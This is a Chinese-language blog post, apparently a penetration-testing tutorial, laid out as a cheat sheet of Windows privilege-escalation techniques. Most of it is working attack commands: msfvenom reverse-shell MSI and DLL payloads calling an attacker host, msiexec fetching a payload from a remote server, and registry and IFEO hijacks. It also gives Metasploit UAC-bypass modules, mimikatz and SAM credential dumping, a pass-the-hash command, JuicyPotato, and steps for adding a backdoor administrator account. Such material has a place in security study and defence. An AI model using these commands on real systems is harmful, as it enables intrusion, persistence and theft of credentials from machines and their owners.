开启位置:组策略编辑器->计算机/用户配置->管理模板->windows组件->windows install->始终以提升的权限安装:启用。如果该设置启用,可以利用它来执行恶意 MSI 文件:

# 使用 msfvenom 生成恶意的反向 Shell MSI
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f msi -o malicious.msi

#以 SYSTEM 权限安装 MSI(普通用户即可执行此命令)
msiexec /q /i C:\Temp\malicious.msi
或者用该命令从远程服务器下载并执行恶意文件
msiexec /i http://malicious.server/malicious.msi

# 攻击机监听
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run

如果未启用,但是我们有注册表的修改权限,也可以通过修改注册表来启用它

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

一些其他的MSI木马利用方式

创建一个具有管理员权限的用户
msfvenom -p windows/adduser USER=hacker PASS=Password123 -f msi -o adduser.msi
msiexec /i adduser.msi #创建新用户

提取系统敏感信息
msfvenom -p windows/gather/hashdump -f msi -o hashdump.msi
msiexec /i hashdump.msi #提取密码哈希

运行 PowerShell 脚本
msfvenom -p windows/powershell_exec -f msi -o ps_script.msi CMD="powershell -ExecutionPolicy Bypass -File C:\malicious.ps1"
msiexec /i ps_script.msi #命令将以 SYSTEM 权限运行指定的 PowerShell 脚本

注册表键写入权限

某些注册表键可能配置了不安全的权限,允许低权限用户修改或删除这些键。攻击者可以利用这一点来更改系统配置或植入恶意代码。

icacls "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnerableService" /grant Everyone:F

这条命令就是将该服务的的权限设置为 “完全控制”并授予 所有用户(Everyone)。若注册表可修改,那就可以实现上述的多种提权。

安全描述符定义语言(SDDL)可修改

SDDL 是 Windows 系统用于表示安全描述符的字符串格式,包括所有者(O):对象的所有者;组(G):对象的主组;DACL(D):自主访问控制列表,定义用户 / 组的访问权限;SACL(S):系统访问控制列表,用于审计。若攻击者具有目标对象的SSDL的修改权限,就可为自身账户添加高权限,从而绕过权限限制执行特权操作。

1、#获取当前服务的SDDL
sc sdshow VulnerableService

2、构造恶意 SDDL(添加 Everyone 完全控制)
# 原始 SDDL 示例:D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
# 恶意 SDDL:添加 Everyone 完全控制
$newSDDL = "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

3、应用新 SDDL
sc sdset VulnerableService $newSDDL

4、修改服务路径并重启:
sc config VulnerableService binPath= "C:\Temp\evil.exe"
net start VulnerableService

也可以直接篡改注册表项 SDDL:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnerableService" /t REG_SZ /v "Security" /d "D:(A;;GA;;;WD)" /f

此命令将注册表项的权限设置为允许所有用户完全控制。

环境变量劫持

原理:Windows 系统在执行命令或加载 DLL 时,会按照 PATH 环境变量 指定的顺序搜索可执行文件。若攻击者能将恶意程序放入 PATH 路径中的 可写目录,或篡改 PATH 变量本身,系统可能会优先加载恶意程序,从而以当前进程的权限(如 SYSTEM)执行代码。Windows 系统中的某些环境变量值存储在注册表中,攻击者可以通过修改这些值来劫持系统行为。

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v "Path" /t REG_EXPAND_SZ /d "C:\malicious;%" /f

此命令将环境变量 Path 修改为包含恶意路径,从而劫持系统中运行的程序。

注册表钩子

攻击者可以在注册表中添加钩子,使得当某些注册表项被访问时,恶意代码会被执行。

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\target.exe" /v "Debugger" /t REG_SZ /d "C:\malicious.exe" /f

此命令会使target.exe在每次执行时都启动malicious.exe

AppInit_DLLs 注入

原理:Windows 系统的 AppInit_DLLs 是一个注册表项,用于指定系统启动时所有进程自动加载的 DLL 列表。该机制原本用于应用程序兼容性,但被滥用时会成为强大的攻击向量。注册表路径如下

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

攻击者通过修改AppInit_DLLs注册表项,攻击者可以将 DLL 注入到所有进程中,从而获得系统控制权。

前提:

  • AppInit_DLLs 包含恶意 DLL 路径;
  • LoadAppInit_DLLs 注册表值为 1(启用 DLL 加载);
  • RequireSignedAppInit_DLLs 注册表值为 0(禁用签名验证,默认)。

检测漏洞:

# 检查注册表配置
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
$appInitDlls = (Get-ItemProperty -Path $regPath -Name AppInit_DLLs -ErrorAction SilentlyContinue).AppInit_DLLs
$loadDlls = (Get-ItemProperty -Path $regPath -Name LoadAppInit_DLLs -ErrorAction SilentlyContinue).LoadAppInit_DLLs
此命令会在所有进程启动时加载malicious.dll。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "C:\malicious.dll" /f

然后重启服务进程,恶意 DLL 将被自动加载,以进程权限执行代码(如 SYSTEM)

不安全的文件系统权限

这类提权原理在于文件系统权限配置错误导致用户可写。

可写的系统目录

某些系统目录可能被错误配置为对所有用户可写。攻击者可以在这些目录中放置恶意文件,以便在系统启动或用户执行相关程序时运行。

检查系统文件目录是否可写
icacls "C:\Windows\System32" /grant Everyone:F
攻击者可以将恶意文件放置在C:\Windows\System32目录中,并通过系统的自动加载机制执行。

可写的程序文件

某些程序文件可能被配置为对所有用户可写。攻击者可以替换这些程序文件,以便在用户执行程序时运行恶意代码。

检查系统程序文件是否可写
icacls "C:\Program Files (x86)\VulnerableProgram" /grant Everyone:F

攻击者可以将恶意文件放置在该目录中,当用户运行程序时,恶意代码将被执行。

可写的计划任务

原理和linux计划任务提权差不多,尝试覆盖掉以高权限运行的计划任务,等待计划任务再次执行获取高权限

查看计划任务:

at win7以前
schtasks win7及以后
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr "管理员"
schtasks /query /fo LIST /v | findstr "Snipaste"
此命令会创建一个计划任务,每天中午执行恶意代码。
schtasks /create /tn "MaliciousTask" /tr "C:\malicious.exe" /sc daily /st 12:00

此外还包括可写的二进制文件、可写的启动项、可写的系统备份文件、可写的日志文件以及可写的环境变量目录等。通过这些方法,攻击者可以利用不安全的文件系统权限进行权限提升和系统控制。安全人员应特别注意文件系统的权限配置和管理,以防范潜在的攻击。

MSF绕过UAC提权的一些模块

一般我们通过msf拿到meterprter的会话后,我们可以通过getsystem或者getuid来检查是否是system权限

如果不是system权限,我们可以通过以下绕过UAC模块对UAC进行绕过,再通过getsystem进行提权

exploit/windows/local/ask #弹出UAC确认窗口,点击后获得system权限
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_fodhelper
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_comhijack

1、进程注入绕过UAC

通过进程注入使用可信任发布者证书绕过Windows UAC。

msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit
getsystem

2、内存注入绕过UAC

该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64),相比上面的进程注入被杀软检测的概率要低一些

msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit
getsystem

3、通过FodHelper注册表项绕过UAC

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。

msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit

4、通过Eventvwr注册表项绕过UAC

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()。

msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit

5、通过COM处理程序劫持绕过UAC

msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit

凭证窃取提权

原理:Windows 系统中存储的凭证(如本地账户密码哈希、域账户令牌、服务账户密码)是权限控制的核心。若攻击者能通过漏洞或工具窃取这些凭证,即可实现提权。

常见凭证存储位置

1、本地安全账户管理器(SAM):负责存储本地用户的密码哈希(NTLM 哈希),路径为C:\Windows\System32\config\SAM(需 SYSTEM 权限访问),窃取工具如:mimikatz、pwdump7

2、安全账户管理器(LSA)缓存:负责存储最近登录的域账户凭证(包括 NTLM 哈希、Kerberos 票据),常用窃取工具:mimikatz、LaZagne

3、内存中的令牌(Token):存储进程运行时的访问令牌(包含用户权限信息),常用工具:利用 Incognito 或 mimikatz 窃取高权限令牌、通过进程注入获取令牌

4、网络传输中的凭证:通过监听网络流量(如 SMB、LDAP、RDP)窃取明文或哈希,常用工具:Wireshark

5、注册表与配置文件:注册表中负责存储服务账户密码、应用程序配置文件(如 web.config),常用工具:读取弱权限注册表项或配置文件

利用思路:

# 1. 用 mimikatz 提取本地管理员哈希
mimikatz # lsadump::sam

# 2. 用哈希传递(Pass-the-Hash)登录高权限主机
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99 //192.168.1.100 cmd.exe

# 3. 在高权限主机添加新管理员
net user hacker P@ssw0rd /add
net localgroup administrators hacker /add

获取手段:

1、使用 Mimikatz 获取密码哈希

Mimikatz 是一个强大的工具,可以从内存中提取明文密码、哈希、PIN 码和 Kerberos 票证。

# 启用 SeDebugPrivilege
privilege::debug

# 提取当前会话的所有凭证
sekurlsa::logonpasswords

通过这些命令,攻击者可以提取到所有已登录用户的凭证。

2、从 SAM 文件中提取密码哈希

SAM 文件(Security Account Manager)中存储了本地用户的密码哈希。攻击者可以利用工具从该文件中提取哈希值。

# 导出 SAM 文件和 SYSTEM 文件
reg save HKLM\SAM C:\sam
reg save HKLM\SYSTEM C:\system

# 使用工具提取哈希
samdump2 C:\sam C:\system

此命令会导出 SAM 文件和 SYSTEM 文件,并使用 samdump2 提取哈希。

3、利用 Windows Credential Manager

Windows Credential Manager 存储了用户的凭证,包括用户名和密码。攻击者可以使用工具读取这些凭证。

# 使用 CredDump 提取凭证
python cred_dump.py

此工具会列出存储在 Credential Manager 中的所有凭证。

4、利用组策略首选项(GPP)密码

组策略首选项功能是Windows 2008 Server引入的,并且08之后的版本都已经打过该漏洞的补丁

SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。

所有的组策略均存储在如下位置:

\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\

在一般域环境中所有机器都是脚本化批量部署的,数据量很大,为了方便对所有机器进行操作。网管会使用域策略进行统一的配置和管理,大多数组织在创建域环境后会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员的安全性,这些组织的网络管理员往往会修改本地管理员密码。

如果通过组策略修改密码,若攻击者获得一台机器的本地管理员密码,就相当于获取整个域中所有机器的本地管理员密码。

管理员在域中新建一个组策略后,操作系统会自动在SYSVOL共享目录中生成一个XML文件该文件中保存了该组策略更新后的密码。该密码使用了AES-256加密算法,安全性比较高。但是微软在网站上公布过这个算法的私钥,任何域用户和域信任的用户均可对该共享目标进行访问,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账户/密码的本地管理员计算机。

# 搜索含有 cpassword 的 XML 文件
dir \\<domain>\SYSVOL\<domain>\Policies\ /s /b | findstr cpassword

# 解密 GPP 密码
gpp-decrypt <encrypted_password>

也可以使用MSF

use post/windows/gather/credentials/gpp
show options
set session 2

5、从注册表中提取凭证

某些应用程序和服务会将凭证存储在注册表中。攻击者可以使用注册表查询命令提取这些凭证。

# 查询注册表中的凭证
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

此命令会在注册表中搜索包含 “password” 的键值,并列出相关信息。

令牌权限利用

令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。

令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌,而假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击,常见的令牌种类如下:

访问令牌(Access Token):表示访问控制操作主体的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符。
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾

核心原理:令牌权限利用的核心是滥用 Windows 系统中预定义的特权(Privileges),通过 “权限继承” 或 “特权滥用” 实现权限提升。

SeDebugPrivilege-调试特权

SeDebugPrivilege 允许用户调试和调整系统中的任何进程,攻击者可通过注入代码或读取进程内存窃取凭证

# 启用 SeDebugPrivilege
whoami /priv

# 利用 SeDebugPrivilege 附加到高权限进程并注入代码
mimikatz.exe "privilege::debug" "token::elevate" "exit"

此示例中,Mimikatz 被用来附加到高权限进程并获取其令牌。

SeImpersonatePrivilege 和 SeAssignPrimaryTokenPrivilege-(模拟 / 分配令牌)

这些权限允许用户模仿或分配新的主令牌,这些权限在某些服务和应用程序中非常常见。

# 利用 JuicyPotato 提升权限
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {F2E606B6-2631-43A8-9D99-2D5B86F82DE4}

JuicyPotato 利用 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 提升到 SYSTEM 权限。

参考:https://www.cnblogs.com/kqdssheng/p/18738762

SeBackupPrivilege 和 SeRestorePrivilege(备份 / 恢复权限)

这些权限允许用户备份和恢复文件,即使这些文件是系统文件或其他用户的文件。这可以用来读取或写入敏感文件。

# 使用 SeBackupPrivilege 读取敏感文件
privilege::debug
privilege::backup
token::elevate
lsadump::sam

通过启用这些权限,攻击者可以读取 SAM 文件并获取密码哈希。

可以参考:https://www.cnblogs.com/kqdssheng/p/18741609

SeTcbPrivilege(Trust Computer Base)-信任计算机基础

SeTcbPrivilege 允许用户直接与系统交互以执行任何操作,通常只有本地系统帐户才有此权限。

# 通过 SeTcbPrivilege 提升权限
mimikatz.exe "privilege::tcb" "token::elevate" "exit"

这个示例中,Mimikatz 利用 SeTcbPrivilege 提升权限。

SeLoadDriverPrivilege–(加载驱动权限)

SeLoadDriverPrivilege 允许用户加载和卸载设备驱动程序。攻击者可以利用这一权限加载恶意驱动程序,从而在内核级别执行代码。

# 使用 SeLoadDriverPrivilege 加载恶意驱动程序
sc create MaliciousDriver binPath= "C:\path\to\malicious.sys" type= kernel
sc start MaliciousDriver

通过创建和启动恶意驱动程序,攻击者可以在内核级别执行任意代码。

DLL 劫持

DLL 劫持(DLL Hijacking)是指当应用程序在加载 DLL 时,如果未指定完全路径或使用不安全的路径搜索顺序,攻击者可以将恶意 DLL 注入应用程序的执行流程,从而获得执行权限。以下是五种常见的 DLL 劫持利用方法及其示例:

利用程序搜索顺序劫持 DLL

当应用程序加载 DLL 时,会按照预定义的搜索顺序查找 DLL 文件。攻击者可以在高优先级路径中放置恶意 DLL 文件,从而劫持应用程序。

# 创建恶意 DLL 文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=attacker_port -f dll -o evil.dll

# 将恶意 DLL 文件放置在应用程序目录中
copy evil.dll "C:\Program Files\VulnerableApp\"

当应用程序启动并加载相应的 DLL 时,将执行恶意代码。

劫持系统路径中的 DLL

攻击者可以在系统路径中放置恶意 DLL 文件,以劫持常用应用程序或服务。

# 将恶意 DLL 文件放置在系统路径中
copy evil.dll "C:\Windows\System32\"

当系统或应用程序加载此 DLL 时,将执行恶意代码。

劫持特定服务的 DLL

某些服务在启动时会加载特定的 DLL 文件,攻击者可以替换这些 DLL 文件,从而在服务启动时执行恶意代码。

# 停止目标服务
sc stop TargetService

# 替换服务的 DLL 文件
copy evil.dll "C:\Program Files\TargetService\service.dll"

# 启动目标服务
sc start TargetService

此操作会在服务启动时执行恶意代码。

利用注册表中的 DLL 劫持

注册表中的某些键值会指定 DLL 文件路径,攻击者可以修改这些路径,指向恶意 DLL 文件。

# 修改注册表键值
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "C:\evil.dll" /f

当系统启动或特定操作执行时,将加载并执行恶意 DLL。

利用加载库函数劫持 DLL

开发人员使用LoadLibrary函数加载 DLL 文件时,如果未指定完全路径,攻击者可以利用这一点,放置恶意 DLL 文件。

# 创建恶意 DLL 文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=attacker_port -f dll -o evil.dll

# 将恶意 DLL 文件放置在应用程序工作目录中
copy evil.dll "C:\Path\To\VulnerableApp\"

当应用程序调用LoadLibrary函数加载 DLL 时,将执行恶意代码。

工具推荐

Metasploit:一个强大的渗透测试框架,包含了大量的提权模块。
Sherlock:一个用于检查系统中存在的已知提权漏洞的脚本。
windows-privesc-check:一个用于检查Windows系统中权限配置错误的工具。
Windows-Exploit-Suggester:一个根据系统补丁级别建议漏洞利用方法的工具。
PowerUp:PowerSploit模块之一,用于自动化提权过程。
Nishang:一个集合了多种PowerShell脚本的工具,包含多种提权方法。
PEASS-ng:辅助提权工具
AccessChk:用于检查和显示 Windows 系统上对象的安全描述符信息。它主要用于检查和分析文件、注册表键、服务等对象的安全性设置和访问权限
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇